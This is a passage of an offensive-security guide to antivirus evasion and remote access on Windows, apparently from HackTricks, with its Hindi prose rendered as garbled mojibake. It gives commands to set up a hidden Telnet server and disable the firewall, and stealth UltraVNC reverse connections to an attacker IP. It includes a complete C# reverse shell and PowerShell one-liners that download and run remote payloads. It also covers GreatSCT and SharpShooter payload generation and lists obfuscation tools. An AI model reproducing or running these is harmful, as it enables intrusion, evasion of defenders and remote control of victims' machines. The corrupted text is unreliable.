рдЖрдк ThreatCheck рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдмрд╛рдЗрдирд░реА рдХреЗ рднрд╛рдЧреЛрдВ рдХреЛ рд╣рдЯрд╛ рджреЗрдЧрд╛ рдЬрдм рддрдХ рдХрд┐ рдпрд╣ рдирд╣реАрдВ рдкрддрд╛ рдЪрд▓рддрд╛ рдХрд┐ рдбрд┐рдлреЗрдВрдбрд░ рдХрд┐рд╕ рднрд╛рдЧ рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдорд╛рдирддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдЖрдкрдХреЗ рд▓рд┐рдП рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддрд╛ рд╣реИред
рдПрдХ рдФрд░ рдЙрдкрдХрд░рдг рдЬреЛ рд╕рдорд╛рди рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ рд╡рд╣ рд╣реИ avred рдЬрд┐рд╕рдореЗрдВ https://avred.r00ted.ch/ рдкрд░ рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред

Telnet рд╕рд░реНрд╡рд░

Windows10 рддрдХ, рд╕рднреА Windows рдореЗрдВ рдПрдХ Telnet рд╕рд░реНрд╡рд░ рдерд╛ рдЬрд┐рд╕реЗ рдЖрдк (рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рд░реВрдк рдореЗрдВ) рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рдереЗ:

pkgmgr /iu:"TelnetServer" /quiet

Make it start рдЬрдм рд╕рд┐рд╕реНрдЯрдо рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ run рдЗрд╕реЗ рдЕрдм:

sc config TlntSVR start= auto obj= localsystem

рдЯреЗрд▓рдиреЗрдЯ рдкреЛрд░реНрдЯ рдмрджрд▓реЗрдВ (рдЫрд┐рдкрд╛ рд╣реБрдЖ) рдФрд░ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдмрдВрдж рдХрд░реЗрдВ:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

рдЗрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ: http://www.uvnc.com/downloads/ultravnc.html (рдЖрдкрдХреЛ рдмрд┐рди рдбрд╛рдЙрдирд▓реЛрдб рдЪрд╛рд╣рд┐рдП, рд╕реЗрдЯрдЕрдк рдирд╣реАрдВ)

рд╣реЛрд╕реНрдЯ рдкрд░: winvnc.exe рдЪрд▓рд╛рдПрдБ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ:

  • рд╡рд┐рдХрд▓реНрдк Disable TrayIcon рд╕рдХреНрд╖рдо рдХрд░реЗрдВ
  • VNC Password рдореЗрдВ рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗрдЯ рдХрд░реЗрдВ
  • View-Only Password рдореЗрдВ рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗрдЯ рдХрд░реЗрдВ

рдлрд┐рд░, рдмрд╛рдЗрдирд░реА winvnc.exe рдФрд░ рдирдП рдмрдирд╛рдП рдЧрдП рдлрд╝рд╛рдЗрд▓ UltraVNC.ini рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЕрдВрджрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВ

рд░рд┐рд╡рд░реНрд╕ рдХрдиреЗрдХреНрд╢рди

рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЕрдкрдиреЗ рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ рдмрд╛рдЗрдирд░реА vncviewer.exe -listen 5900 рдЪрд▓рд╛рдиреА рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдпрд╣ рд░рд┐рд╡рд░реНрд╕ VNC рдХрдиреЗрдХреНрд╢рди рдХреЛ рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реЛ рд╕рдХреЗред рдлрд┐рд░, рдкреАрдбрд╝рд┐рдд рдХреЗ рдЕрдВрджрд░: winvnc рдбреЗрдорди рд╢реБрд░реВ рдХрд░реЗрдВ winvnc.exe -run рдФрд░ рдЪрд▓рд╛рдПрдБ winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

рдЪреЗрддрд╛рд╡рдиреА: рдЧреБрдкреНрддрддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдХреБрдЫ рдЪреАрдЬреЗрдВ рдирд╣реАрдВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП

  • рдпрджрд┐ winvnc рдкрд╣рд▓реЗ рд╕реЗ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рд╢реБрд░реВ рди рдХрд░реЗрдВ рдпрд╛ рдЖрдк рдкреЙрдкрдЕрдк рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВрдЧреЗред рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдпрд╣ рдЪрд▓ рд░рд╣рд╛ рд╣реИ tasklist | findstr winvnc
  • рдпрджрд┐ UltraVNC.ini рдЙрд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдирд╣реАрдВ рд╣реИ рддреЛ winvnc рд╢реБрд░реВ рди рдХрд░реЗрдВ рдпрд╛ рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧ рд╡рд┐рдВрдбреЛ рдХреЛ рдЦреЛрд▓ рджреЗрдЧрд╛
  • рдорджрдж рдХреЗ рд▓рд┐рдП winvnc -h рди рдЪрд▓рд╛рдПрдБ рдпрд╛ рдЖрдк рдкреЙрдкрдЕрдк рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВрдЧреЗ

GreatSCT

рдЗрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Inside GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

рдЕрдм рд▓рд┐рд╕реНрдЯрд░ рд╢реБрд░реВ рдХрд░реЗрдВ msfconsole -r file.rc рдХреЗ рд╕рд╛рде рдФрд░ xml рдкреЗрд▓реЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

рд╡рд░реНрддрдорд╛рди рдбрд┐рдлреЗрдВрдбрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрд╣реБрдд рддреЗрдЬреА рд╕реЗ рд╕рдорд╛рдкреНрдд рдХрд░ рджреЗрдЧрд╛ред

рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

рдкрд╣рд▓рд╛ C# рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓

рдЗрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

рдЗрд╕реЗ рдЗрд╕рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдХрдВрдкрд╛рдЗрд▓рд░

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

C# obfuscators рд╕реВрдЪреА: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Python рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрдВрдЬреЗрдХреНрдЯрд░ рдмрдирд╛рдиреЗ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:

рдЕрдиреНрдп рдЙрдкрдХрд░рдг

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

More

рдпрджрд┐ рдЖрдк рд╣реИрдХрд┐рдВрдЧ рдХрд░рд┐рдпрд░ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдФрд░ рдЕрдЪреВрдХ рдХреЛ рд╣реИрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ - рд╣рдо рднрд░реНрддреА рдХрд░ рд░рд╣реЗ рд╣реИрдВ! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ рд╣реИ)ред

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}